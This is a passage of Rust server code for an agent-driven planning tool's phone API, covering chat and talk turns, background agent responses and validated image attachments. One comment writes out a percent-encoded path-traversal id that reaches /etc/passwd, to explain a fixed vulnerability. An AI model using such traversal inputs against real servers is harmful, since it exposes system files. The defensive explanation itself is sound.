3455    body: std::result::Result<Json<NewChat>, JsonRejection>,
3456) -> ApiResult<impl IntoResponse> {
3457    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3458    if body.idea.trim().is_empty() {
3459        return Err(ApiError::bad_request(
3460            "an interview needs something to interview about",
3461        ));
3462    }
3463
3464    // Resolved before anything is created, so a bad `from` id is a 4xx that
3465    // names it rather than a chat record nobody asked for.
3466    let from = {
3467        let ui = Arc::clone(&ui);
3468        let from_id = body.from.clone();
3469        blocking(move || match from_id {
3470            None => Ok(None),
3471            Some(id) => {
3472                let resolved = resolve_chat(&ui.chats, &id)?;
3473                Ok(Some(ui.chats.get(&resolved)?))
3474            }
3475        })
3476        .await?
3477    };
3478
3479    // Read the configuration for this request rather than at startup, so an
3480    // edit to `magi.toml` - a new seat, a different interviewer - takes effect
3481    // without restarting the server the operator reaches from their phone.
3482    // `bad_request_from` rather than the usual `?`: a repo whose config will
3483    // not load is the `repo` the caller named, not this server's fault.
3484    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3485    let cfg = {
3486        let repo = repo.clone();
3487        blocking(move || {
3488            Config::discover(&repo, None)
3489                .map(|(cfg, _)| cfg)
3490                .map_err(ApiError::bad_request_from)
3491        })
3492        .await?
3493    };
3494
3495    // `chat::build`'s only reachable failure here is `plan::pick` refusing the
3496    // roster - the idea was already checked non-empty above - which is again
3497    // the caller's `agent`/`repo` choice, not a server fault. It only
3498    // constructs `chat` in memory: nothing is written yet, and nothing else
3499    // can see or claim `chat.id` until this handler publishes it below.
3500    let mut chat = {
3501        let cfg = cfg.clone();
3502        let idea = body.idea.clone();
3503        let agent = body.agent.clone();
3504        let from = from.clone();
3505        blocking(move || {
3506            chat::build(&cfg, repo, &idea, agent.as_deref(), from.as_ref())
3507                .map_err(ApiError::bad_request_from)
3508        })
3509        .await?
3510    };
3511
3512    // Claimed *before* the record is written to disk, not after: once
3513    // `Chats::put` below makes `chat.id` visible, `GET /api/chats` can name
3514    // it and `POST /api/chats/{id}/say` can resolve it. A claim taken only
3515    // after that write leaves a gap where a `say` racing this handler can
3516    // win `begin_turn` first, record into a seat whose first turn never ran,
3517    // and hand this handler a 409 for a chat file it just created - the
3518    // opposite of the `chat_say`-shaped 409 this route means to give.
3519    let _turn = ui.begin_turn(&chat.id)?;
3520
3521    // Persist now that the id is claimed - safe to publish, because anyone
3522    // who finds it will also find it already busy.
3523    chat = {
3524        let ui = Arc::clone(&ui);
3525        blocking(move || {
3526            ui.chats.put(&mut chat)?;
3527            Ok(chat)
3528        })
3529        .await?
3530    };
3531    let thinking = ui.is_thinking(&chat.id);
3532    let queued = ChatView::new(chat.clone(), thinking);
3533
3534    let chats = ui.chats.clone();
3535    let id = chat.id.clone();
3536    tokio::spawn(async move {
3537        let _turn = _turn;
3538        if let Err(e) = chat::first_turn(&mut chat, &chats, &cfg, from.as_ref()).await {
3539            // `first_turn` records the failure in the transcript itself,
3540            // which is what the phone reads; this line is for the operator's
3541            // terminal.
3542            tracing::warn!("chat {id} first turn failed: {e:#}");
3543        }
3544    });
3545
3546    // 202: the record is on disk and a turn is running. The front end learns
3547    // the reply from the change stream, the same way it learns everything
3548    // else - see `chat_say`.
3549    Ok((StatusCode::ACCEPTED, Json(queued)))
3550}
3551
3552/// The body of `POST /api/chats/{id}/say`.
3553///
3554/// `attachments` names ids `POST /api/chats/{id}/attachments` already
3555/// returned - never bytes of its own - so a turn with no images just omits
3556/// the field, which is what an older front end still does.
3557#[derive(Debug, Default, Deserialize)]
3558#[serde(default, deny_unknown_fields)]
3559struct NewTurn {
3560    text: String,
3561    attachments: Vec<String>,
3562}
3563
3564/// `POST /api/chats/{id}/say` - one turn of the interview.
3565///
3566/// The one handler here that is not filesystem work, and therefore the one
3567/// that must not go through [`blocking`]: it spawns an agent CLI and waits tens
3568/// of seconds for a paragraph. Sitting on an executor thread for that long
3569/// would starve the change stream of every other connected phone, which is the
3570/// opposite of what `blocking` is for. It holds no lock across the `await`
3571/// either - the turn slot is a set membership, not a mutex guard - so nothing
3572/// else in the server is delayed by a slow interview.
3573///
3574/// What the operator sees while it runs: a request outstanding for the whole
3575/// turn, with no partial output, because the agent CLIs magi drives return one
3576/// answer at the end rather than a stream. On a phone that means the composer
3577/// stays pending for up to the seat's timeout. There is deliberately no
3578/// progress channel to invent one from; the SSE `chats_rev` bump is the signal
3579/// that the turn landed, and it fires from the file `chat::say` wrote, so a
3580/// phone whose radio slept through the reply still learns about it.
3581///
3582/// A failed turn is still a turn. [`chat::say`] records the operator's message
3583/// and an agent turn explaining the failure before it returns an error, so this
3584/// answers 200 with the conversation: that recorded explanation is the thing
3585/// the operator needs to read, and a 5xx would make the front end show a
3586/// generic banner and hide it. The guard against that being a lie is the turn
3587/// count - if the transcript did not grow, nothing happened and the error is
3588/// reported as one.
3589async fn chat_say(
3590    State(ui): State<Arc<Ui>>,
3591    Path(id): Path<String>,
3592    body: std::result::Result<Json<NewTurn>, JsonRejection>,
3593) -> ApiResult<(StatusCode, Json<ChatView>)> {
3594    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3595    if body.text.trim().is_empty() && body.attachments.is_empty() {
3596        return Err(ApiError::bad_request("say something"));
3597    }
3598
3599    let id = {
3600        let ui = Arc::clone(&ui);
3601        let asked = id.clone();
3602        blocking(move || resolve_chat(&ui.chats, &asked)).await?
3603    };
3604    // Claimed before the chat is loaded, so the record this turn appends to was
3605    // read after the claim and cannot be a snapshot another turn has since
3606    // replaced.
3607    let _turn = ui.begin_turn(&id)?;
3608
3609    let (chat, cfg) = {
3610        let ui = Arc::clone(&ui);
3611        let id = id.clone();
3612        blocking(move || {
3613            let chat = ui.chats.get(&id)?;
3614            let (cfg, _) = Config::discover(&chat.repo, None)?;
3615            Ok((chat, cfg))
3616        })
3617        .await?
3618    };
3619
3620    // Every attachment id resolved to the metadata `chat::record` actually
3621    // stores, before anything is recorded - an unknown id is a 4xx that
3622    // names it rather than a turn silently missing an image.
3623    let attachments = {
3624        let ui = Arc::clone(&ui);
3625        let id = id.clone();
3626        let ids = body.attachments.clone();
3627        blocking(move || {
3628            ids.into_iter()
3629                .map(|att_id| {
3630                    ui.chats.attachment_meta(&id, &att_id)?.ok_or_else(|| {
3631                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
3632                    })
3633                })
3634                .collect::<ApiResult<Vec<chat::Attachment>>>()
3635        })
3636        .await?
3637    };
3638
3639    // The operator's turn is recorded, the agent's turn runs in the background,
3640    // and the response goes back now.
3641    //
3642    // This used to hold the HTTP connection for the whole turn - 23 to 90
3643    // seconds against a real model. On a phone that is a coin flip: a screen
3644    // lock or a network handoff drops the request and the browser reports
3645    // "Failed to fetch", while the server finishes the turn and writes it to
3646    // disk. The operator is then told their message failed when it did not,
3647    // which is the worst of both answers. Every other moving part in magi is
3648    // state on disk plus the change stream; this was the one place that
3649    // depended on a connection staying up, and it did not need to.
3650    //
3651    // The turn guard moves into the spawned task, so a second `say` on the
3652    // same chat still gets a 409 while this one is in flight.
3653    let chats = ui.chats.clone();
3654    let text = {
3655        let mut chat = chat.clone();
3656        let chats = chats.clone();
3657        let said = body.text.clone();
3658        blocking(move || Ok(chat::record(&mut chat, &chats, &said, attachments)?)).await?
3659    };
3660    // Re-read so the spawned task appends to the record that now holds the
3661    // operator's turn, rather than to the snapshot taken before it.
3662    let mut chat = {
3663        let ui = Arc::clone(&ui);
3664        let id = id.clone();
3665        blocking(move || Ok(ui.chats.get(&id)?)).await?
3666    };
3667    let thinking = ui.is_thinking(&id);
3668    let queued = ChatView::new(chat.clone(), thinking);
3669    tokio::spawn(async move {
3670        let _turn = _turn;
3671        if let Err(e) = chat::respond(&mut chat, &chats, &cfg, &text).await {
3672            // `respond` records the failure in the transcript itself, which is
3673            // what the phone reads; this line is for the operator's terminal.
3674            tracing::warn!("chat {id} turn failed: {e:#}");
3675        }
3676    });
3677
3678    // 202: the operator's message is recorded and a turn is running. The front
3679    // end learns the reply from the change stream, the same way it learns
3680    // everything else.
3681    Ok((StatusCode::ACCEPTED, Json(queued)))
3682}
3683
3684/// The body of `POST /api/chats/{id}/file`, which the phone sends empty.
3685#[derive(Debug, Default, Deserialize)]
3686#[serde(default, deny_unknown_fields)]
3687struct FileDraft {
3688    priority: i32,
3689}
3690
3691/// `POST /api/chats/{id}/file` - validate the agent's draft and queue it.
3692///
3693/// The 400 carries every problem [`chat::draft_problems`] found, as an array
3694/// beside the usual message, because the operator fixing them is on a phone:
3695/// one problem per round trip would mean asking the interviewer to rewrite the
3696/// draft three times for what is one edit.
3697async fn chat_file(
3698    State(ui): State<Arc<Ui>>,
3699    Path(id): Path<String>,
3700    body: std::result::Result<Json<FileDraft>, JsonRejection>,
3701) -> ApiResult<Json<serde_json::Value>> {
3702    // An absent body is the normal case - the front end posts with no content
3703    // type at all - and means the default priority. A body that is present and
3704    // malformed is still a bad request, because silently filing at the wrong
3705    // priority is worse than saying no.
3706    let body = match body {
3707        Ok(Json(body)) => body,
3708        Err(JsonRejection::MissingJsonContentType(_)) => FileDraft::default(),
3709        Err(e) => return Err(ApiError::bad_request(e.body_text())),
3710    };
3711
3712    blocking(move || {
3713        let id = resolve_chat(&ui.chats, &id)?;
3714        let mut chat = ui.chats.get(&id)?;
3715        // Asked before filing so the answer can be the whole list. `file_draft`
3716        // applies the same rule and would refuse too, but only with a flattened
3717        // string, and re-splitting an error message to rebuild the list is the
3718        // kind of thing that breaks the day someone adds a comma.
3719        if let Err(problems) = chat::draft_problems(&chat) {
3720            return Err(ApiError::bad_request_with(
3721                "the draft is not fileable yet",
3722                problems,
3723            ));
3724        }
3725        let task = chat::file_draft(&mut chat, &ui.chats, &ui.queue, body.priority)?;
3726        Ok(Json(serde_json::json!({ "task": task })))
3727    })
3728    .await
3729}
3730
3731/// `POST /api/chats/{id}/abandon` - give up on an interview without filing it.
3732///
3733/// Maps every refusal from [`chat::abandon`] to a 409: the only one it raises
3734/// is a chat that is already `filed`, which is a conflict with what the
3735/// operator asked for rather than a server fault - the same granularity
3736/// `question_answer` and `question_say` use for a status that no longer
3737/// allows what was asked.
3738async fn chat_abandon(
3739    State(ui): State<Arc<Ui>>,
3740    Path(id): Path<String>,
3741) -> ApiResult<Json<ChatView>> {
3742    blocking(move || {
3743        let id = resolve_chat(&ui.chats, &id)?;
3744        let mut chat = ui.chats.get(&id)?;
3745        chat::abandon(&mut chat, &ui.chats).map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3746        let thinking = ui.is_thinking(&chat.id);
3747        Ok(Json(ChatView::new(chat, thinking)))
3748    })
3749    .await
3750}
3751
3752/// Expand an id or short id to exactly one chat id.
3753fn resolve_chat(store: &Chats, id: &str) -> ApiResult<String> {
3754    pick(store.list().into_iter().map(|c| c.id).collect(), id, "chat")
3755}
3756
3757/// `POST /api/chats/{id}/attachments` - upload one image to attach to a
3758/// future `chat-say`.
3759///
3760/// A dedicated route rather than a field on `say`, because the phone uploads
3761/// the moment the operator picks a file - well before Send is even
3762/// tappable - so the thumbnail row and the "still uploading" state on a
3763/// mobile link have something to key on before any message exists. 201
3764/// carries the [`chat::Attachment`] `say` later takes the `id` of.
3765async fn chat_attachment_post(
3766    State(ui): State<Arc<Ui>>,
3767    Path(id): Path<String>,
3768    headers: HeaderMap,
3769    body: Bytes,
3770) -> ApiResult<(StatusCode, Json<chat::Attachment>)> {
3771    let mime = validate_attachment(&headers, &body)?;
3772    let name = filename_header(&headers);
3773    let data = body.to_vec();
3774    blocking(move || {
3775        let id = resolve_chat(&ui.chats, &id)?;
3776        let att = ui.chats.put_attachment(&id, mime, &name, &data)?;
3777        Ok((StatusCode::CREATED, Json(att)))
3778    })
3779    .await
3780}
3781
3782/// `GET /api/chats/{id}/attachments/{att}` - the stored image back, for a
3783/// thumbnail or the full-size view a tap opens.
3784async fn chat_attachment_get(
3785    State(ui): State<Arc<Ui>>,
3786    Path((id, att)): Path<(String, String)>,
3787) -> ApiResult<Response> {
3788    blocking(move || {
3789        let id = resolve_chat(&ui.chats, &id)?;
3790        let Some((meta, data)) = ui.chats.read_attachment(&id, &att)? else {
3791            return Err(ApiError::not_found(format!(
3792                "chat {id} has no attachment `{att}`"
3793            )));
3794        };
3795        Ok(attachment_response(&meta.mime, data))
3796    })
3797    .await
3798}
3799
3800/// A talk as the phone reads it.
3801///
3802/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
3803/// tree per entry of `turns`, in order - the same accommodation
3804/// [`ChatView`] makes so `app.js` never parses markdown itself.
3805#[derive(Debug, Serialize)]
3806struct TalkView {
3807    #[serde(flatten)]
3808    talk: Talk,
3809    turn_bodies_md: Vec<Vec<md::Node>>,
3810}
3811
3812impl From<Talk> for TalkView {
3813    fn from(talk: Talk) -> Self {
3814        let turn_bodies_md = talk
3815            .turns
3816            .iter()
3817            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3818            .collect();
3819        Self {
3820            turn_bodies_md,
3821            talk,
3822        }
3823    }
3824}
3825
3826/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
3827/// conversation has filed, so the phone can follow one from inside the
3828/// conversation that asked for it rather than hunting the Queue for a task id
3829/// it may not remember.
3830#[derive(Debug, Serialize)]
3831struct TalkDetailView {
3832    #[serde(flatten)]
3833    view: TalkView,
3834    tasks: Vec<TaskView>,
3835}
3836
3837/// `GET /api/talks`.
3838///
3839/// Every conversation, open ones first and newest first - [`Talks::list`]'s
3840/// own order, the same one [`chats_list`] reports for Planning.
3841async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
3842    blocking(move || {
3843        Ok(Json(
3844            ui.talks.list().into_iter().map(TalkView::from).collect(),
3845        ))
3846    })
3847    .await
3848}
3849
3850/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
3851/// message, unlike starting a Planning interview. `repo` defaults to the
3852/// server's own; `agent` to `[roles] chatter` (falling back to `[roles]
3853/// planner`), [`talk::begin`]'s own default. Unknown fields are ignored so a
3854/// newer front end still opens a talk against an older binary.
3855#[derive(Debug, Default, Deserialize)]
3856#[serde(default)]
3857struct NewTalk {
3858    agent: Option<String>,
3859    repo: Option<PathBuf>,
3860}
3861
3862/// `POST /api/talks` - open a conversation. Takes no agent turn: see
3863/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
3864async fn talk_post(
3865    State(ui): State<Arc<Ui>>,
3866    body: std::result::Result<Json<NewTalk>, JsonRejection>,
3867) -> ApiResult<impl IntoResponse> {
3868    // An absent body, or an empty one, is the normal way to open a talk - see
3869    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
3870    // rather than refused, the same accommodation `chat_file` makes.
3871    let body = match body {
3872        Ok(Json(body)) => body,
3873        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3874        Err(e) => return Err(ApiError::bad_request(e.body_text())),
3875    };
3876    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3877    let cfg = config_for(&repo).await?;
3878    let view = blocking(move || {
3879        let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3880        Ok(TalkView::from(talk))
3881    })
3882    .await?;
3883    Ok((StatusCode::CREATED, Json(view)))
3884}
3885
3886/// `GET /api/talks/{id}`.
3887async fn talk_detail(
3888    State(ui): State<Arc<Ui>>,
3889    Path(id): Path<String>,
3890) -> ApiResult<Json<TalkDetailView>> {
3891    blocking(move || {
3892        let id = resolve_talk(&ui.talks, &id)?;
3893        let talk = ui.talks.get(&id)?;
3894        let tasks = talk::tasks_of(&ui.queue, &talk.id)
3895            .into_iter()
3896            .map(TaskView::from)
3897            .collect();
3898        Ok(Json(TalkDetailView {
3899            view: TalkView::from(talk),
3900            tasks,
3901        }))
3902    })
3903    .await
3904}
3905
3906/// The body of `POST /api/talks/{id}/say`. See [`NewTurn`]'s doc on
3907/// `attachments`, which this mirrors.
3908#[derive(Debug, Default, Deserialize)]
3909#[serde(default, deny_unknown_fields)]
3910struct NewTalkTurn {
3911    text: String,
3912    attachments: Vec<String>,
3913}
3914
3915/// `POST /api/talks/{id}/say` - one turn of the conversation.
3916///
3917/// The same asynchronous shape as [`chat_say`], for the same reason: this
3918/// route spawns an agent CLI and a turn here can run for the whole of
3919/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
3920/// research turn is expected to run commands rather than answer from what it
3921/// already knows. Holding an HTTP connection open that long is not a thing
3922/// to ask a phone to do; the operator's message is recorded and answered for
3923/// immediately, and the reply lands in the background, discovered through
3924/// the change stream's `talks_rev` the same way every other update on this
3925/// surface is.
3926async fn talk_say(
3927    State(ui): State<Arc<Ui>>,
3928    Path(id): Path<String>,
3929    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
3930) -> ApiResult<(StatusCode, Json<TalkView>)> {
3931    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3932    if body.text.trim().is_empty() && body.attachments.is_empty() {
3933        return Err(ApiError::bad_request("say something"));
3934    }
3935
3936    let id = {
3937        let ui = Arc::clone(&ui);
3938        let asked = id.clone();
3939        blocking(move || resolve_talk(&ui.talks, &asked)).await?
3940    };
3941    // Claimed before the talk is loaded, so the record this turn appends to
3942    // was read after the claim and cannot be a snapshot another turn has
3943    // since replaced - the same ordering `chat_say` relies on.
3944    let _turn = ui.begin_talk_turn(&id)?;
3945
3946    let (talk, cfg) = {
3947        let ui = Arc::clone(&ui);
3948        let id = id.clone();
3949        blocking(move || {
3950            let talk = ui.talks.get(&id)?;
3951            let (cfg, _) = Config::discover(&talk.repo, None)?;
3952            Ok((talk, cfg))
3953        })
3954        .await?
3955    };
3956
3957    // See `chat_say`'s own resolution step, which this mirrors.
3958    let attachments = {
3959        let ui = Arc::clone(&ui);
3960        let id = id.clone();
3961        let ids = body.attachments.clone();
3962        blocking(move || {
3963            ids.into_iter()
3964                .map(|att_id| {
3965                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
3966                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
3967                    })
3968                })
3969                .collect::<ApiResult<Vec<talk::Attachment>>>()
3970        })
3971        .await?
3972    };
3973
3974    let talks = ui.talks.clone();
3975    let text = {
3976        let mut talk = talk.clone();
3977        let talks = talks.clone();
3978        let said = body.text.clone();
3979        blocking(move || Ok(talk::record(&mut talk, &talks, &said, attachments)?)).await?
3980    };
3981    // Re-read so the spawned task appends to the record that now holds the
3982    // operator's turn, rather than to the snapshot taken before it.
3983    let talk = {
3984        let ui = Arc::clone(&ui);
3985        let id = id.clone();
3986        blocking(move || Ok(ui.talks.get(&id)?)).await?
3987    };
3988    let queued = talk.clone();
3989    tokio::spawn(async move {
3990        let _turn = _turn;
3991        let mut talk = talk;
3992        if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
3993            // `respond` records the failure in the transcript itself, which is
3994            // what the phone reads; this line is for the operator's terminal.
3995            tracing::warn!("talk {id} turn failed: {e:#}");
3996        }
3997    });
3998
3999    // 202: the operator's message is recorded and a turn is running.
4000    Ok((StatusCode::ACCEPTED, Json(TalkView::from(queued))))
4001}
4002
4003/// `POST /api/talks/{id}/close`.
4004async fn talk_close(
4005    State(ui): State<Arc<Ui>>,
4006    Path(id): Path<String>,
4007) -> ApiResult<Json<TalkView>> {
4008    blocking(move || {
4009        let id = resolve_talk(&ui.talks, &id)?;
4010        let mut talk = ui.talks.get(&id)?;
4011        talk::close(&mut talk, &ui.talks)?;
4012        Ok(Json(TalkView::from(talk)))
4013    })
4014    .await
4015}
4016
4017/// `POST /api/talks/{id}/reopen`.
4018async fn talk_reopen(
4019    State(ui): State<Arc<Ui>>,
4020    Path(id): Path<String>,
4021) -> ApiResult<Json<TalkView>> {
4022    blocking(move || {
4023        let id = resolve_talk(&ui.talks, &id)?;
4024        let mut talk = ui.talks.get(&id)?;
4025        talk::reopen(&mut talk, &ui.talks)?;
4026        Ok(Json(TalkView::from(talk)))
4027    })
4028    .await
4029}
4030
4031/// `DELETE /api/talks/{id}`.
4032///
4033/// Removes the conversation's record and artifacts outright, unlike
4034/// [`talk_close`] which keeps the record as history. A turn already in
4035/// flight is not refused here the way [`run_delete`] refuses a live run:
4036/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
4037/// under [`Talks::guard`], that the record they are about to write back is
4038/// still there, so a delete racing a turn is safe without this route having
4039/// to know a turn is running at all.
4040async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4041    blocking(move || {
4042        let id = resolve_talk(&ui.talks, &id)?;
4043        ui.talks.remove(&id)?;
4044        Ok(StatusCode::NO_CONTENT)
4045    })
4046    .await
4047}
4048
4049/// Expand an id or short id to exactly one talk id.
4050fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
4051    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
4052}
4053
4054/// Every draft id with a `<id>.advisors.json` on disk under `dir` - the same
4055/// set [`drafts_list`] enumerates, and the only ids [`resolve_draft`] may
4056/// hand back.
4057fn draft_ids(dir: &FsPath) -> Vec<String> {
4058    let Ok(entries) = std::fs::read_dir(dir) else {
4059        return Vec::new();
4060    };
4061    entries
4062        .flatten()
4063        .filter_map(|entry| {
4064            entry
4065                .file_name()
4066                .to_str()
4067                .and_then(|n| n.strip_suffix(".advisors.json"))
4068                .map(str::to_owned)
4069        })
4070        .collect()
4071}
4072
4073/// Expand an id or short id to exactly one draft id, the same guard
4074/// [`resolve_task`] and [`resolve_talk`] give every other path parameter
4075/// that ends up joined into a filesystem path.
4076///
4077/// `draft_advisors` used to hand the URL's `id` straight to
4078/// `dir.join(format!("{id}.advisors.json"))`. Axum percent-decodes a path
4079/// parameter after splitting the request path on literal `/`, so an id typed
4080/// as `..%2F..%2Fetc%2Fpasswd` arrives here as `../../etc/passwd` - a value
4081/// `Path<String>` never rejects, since encoding the separator sidesteps the
4082/// router's own segment split. Resolving against [`draft_ids`] first means
4083/// the only strings this can ever return are filenames [`std::fs::read_dir`]
4084/// already saw on disk under `dir`, the same as `resolve_task` and
4085/// `resolve_talk` already guarantee for their own ids.
4086fn resolve_draft(dir: &FsPath, id: &str) -> ApiResult<String> {
4087    pick(draft_ids(dir), id, "draft")
4088}
4089
4090/// `POST /api/talks/{id}/attachments` - the same route as
4091/// [`chat_attachment_post`], for a standing conversation instead of a
4092/// planning interview.
4093async fn talk_attachment_post(
4094    State(ui): State<Arc<Ui>>,
4095    Path(id): Path<String>,
4096    headers: HeaderMap,
4097    body: Bytes,
4098) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
4099    let mime = validate_attachment(&headers, &body)?;
4100    let name = filename_header(&headers);
4101    let data = body.to_vec();
4102    blocking(move || {
4103        let id = resolve_talk(&ui.talks, &id)?;
4104        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
4105        Ok((StatusCode::CREATED, Json(att)))
4106    })
4107    .await
4108}
4109
4110/// `GET /api/talks/{id}/attachments/{att}` - see [`chat_attachment_get`].
4111async fn talk_attachment_get(
4112    State(ui): State<Arc<Ui>>,
4113    Path((id, att)): Path<(String, String)>,
4114) -> ApiResult<Response> {
4115    blocking(move || {
4116        let id = resolve_talk(&ui.talks, &id)?;
4117        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
4118            return Err(ApiError::not_found(format!(
4119                "talk {id} has no attachment `{att}`"
4120            )));
4121        };
4122        Ok(attachment_response(&meta.mime, data))
4123    })
4124    .await
4125}
4126
4127/// Validate an attachment upload's declared `Content-Type` and the bytes
4128/// themselves, returning the canonical mime on success.
4129///
4130/// Two checks, both required: the header has to name one of
4131/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
4132/// simply never in the list, active content rather than a picture, the same
4133/// exclusion [`asset_content_type`]'s doc explains), and the file's own
4134/// magic number has to agree. The second is what stops a mislabeled upload -
4135/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
4136/// a declared type is a claim, not a fact, so it is never trusted alone.
4137fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
4138    if data.len() > ATTACHMENT_MAX_BYTES {
4139        return Err(ApiError::bad_request(format!(
4140            "attachment is {} bytes, over the {} MiB limit",
4141            data.len(),
4142            ATTACHMENT_MAX_BYTES / (1024 * 1024)
4143        ))
4144        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
4145    }
4146    if data.is_empty() {
4147        return Err(ApiError::bad_request("attachment is empty"));
4148    }
4149    let declared = declared_mime(headers)?;
4150    match sniffed_mime(data) {
4151        Some(sniffed) if sniffed == declared => Ok(declared),
4152        Some(sniffed) => Err(ApiError::bad_request(format!(
4153            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
4154        ))),
4155        None => Err(ApiError::bad_request(
4156            "the file's bytes do not match any accepted image format",
4157        )),
4158    }
4159}
4160
4161/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
4162/// and nothing else - parameters like `; charset=` are stripped, but the
4163/// value itself is not otherwise interpreted.
4164fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
4165    let raw = headers
4166        .get(header::CONTENT_TYPE)
4167        .and_then(|v| v.to_str().ok())
4168        .unwrap_or("")
4169        .split(';')
4170        .next()
4171        .unwrap_or("")
4172        .trim()
4173        .to_ascii_lowercase();
4174    ATTACHMENT_MIME_WHITELIST
4175        .iter()
4176        .find(|&&m| m == raw)
4177        .copied()
4178        .ok_or_else(|| {
4179            if raw == "image/svg+xml" {
4180                ApiError::bad_request(
4181                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
4182                     not just a picture",
4183                )
4184            } else if raw.is_empty() {
4185                ApiError::bad_request("Content-Type is required for an attachment upload")
4186            } else {
4187                ApiError::bad_request(format!(
4188                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
4189                     image/gif or image/webp"
4190                ))
4191            }
4192        })
4193}
4194
4195/// Identify an image by its magic number, independent of whatever
4196/// `Content-Type` claimed.
4197fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
4198    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
4199        Some("image/png")
4200    } else if data.starts_with(b"\xff\xd8\xff") {
4201        Some("image/jpeg")
4202    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
4203        Some("image/gif")
4204    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
4205        Some("image/webp")
4206    } else {
4207        None
4208    }
4209}
4210
4211/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
4212/// display - see [`chat::Attachment::name`]'s doc on why it never
4213/// contributes to a path. A missing or blank header (curl without it, an
4214/// older front end) falls back to a generic name rather than refusing the
4215/// upload over a field that is cosmetic.
4216fn filename_header(headers: &HeaderMap) -> String {
4217    headers
4218        .get(FILENAME_HEADER)
4219        .and_then(|v| v.to_str().ok())
4220        .map(str::trim)
4221        .filter(|s| !s.is_empty())
4222        .unwrap_or("attachment")
4223        .to_owned()
4224}
4225
4226/// Every attachment `GET` response: the mime re-validated against the same
4227/// closed whitelist the upload route enforces - never the string trusted
4228/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
4229/// cannot decide it knows better than the type we send. Unlike a panel asset
4230/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
4231/// document renders inline, not agent-authored HTML in a sandboxed frame.
4232fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
4233    let content_type = ATTACHMENT_MIME_WHITELIST
4234        .iter()
4235        .find(|&&m| m == mime)
4236        .copied()
4237        .unwrap_or("application/octet-stream");
4238    (
4239        [
4240            (header::CONTENT_TYPE, content_type),
4241            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4242        ],
4243        body,
4244    )
4245        .into_response()
4246}
4247
4248/// The configuration for a repository, read off the disk for this request.
4249///
4250/// Through [`blocking`] because discovery reads and merges several TOML files,
4251/// and because the alternative - caching it in [`Ui`] at startup - would mean
4252/// the operator's phone kept interviewing with a roster they had already
4253/// changed, with no way to reload it but restarting the server they are not
4254/// sitting in front of.
4255async fn config_for(repo: &FsPath) -> ApiResult<Config> {
4256    let repo = repo.to_path_buf();
4257    blocking(move || {
4258        let (cfg, _) = Config::discover(&repo, None)?;
4259        Ok(cfg)
4260    })
4261    .await
4262}
4263
4264/// The one prefix rule, used for both runs and tasks: a leading match for a
4265/// full id, a trailing match for the short form an operator reads off a
4266/// report. Written here rather than borrowed from `queue::resolve_id` because
4267/// the UI needs the two failures as different status codes, and telling them
4268/// apart from an error message is not something to build a route on.
4269fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
4270    let mut hits = ids
4271        .into_iter()
4272        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
4273    match (hits.next(), hits.next()) {
4274        (Some(one), None) => Ok(one),
4275        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
4276        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
4277            "`{prefix}` matches more than one {what}, including {a} and {b}"
4278        ))),
4279    }
4280}
4281
4282#[cfg(test)]
4283mod tests {
4284    use pretty_assertions::assert_eq;
4285    use serde_json::Value;
4286    use tempfile::TempDir;
4287    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
4288
4289    use super::*;
4290    use crate::config::Config;
4291    use crate::queue::{Source, TaskStatus};
4292
4293    /// A home with a queue and a runs directory, and a router serving it on
4294    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
4295    /// dependency, not ours - so the tests drive a real socket, which has the
4296    /// side benefit of asserting the status line and content types the phone
4297    /// actually receives.
4298    struct Fixture {
4299        home: TempDir,
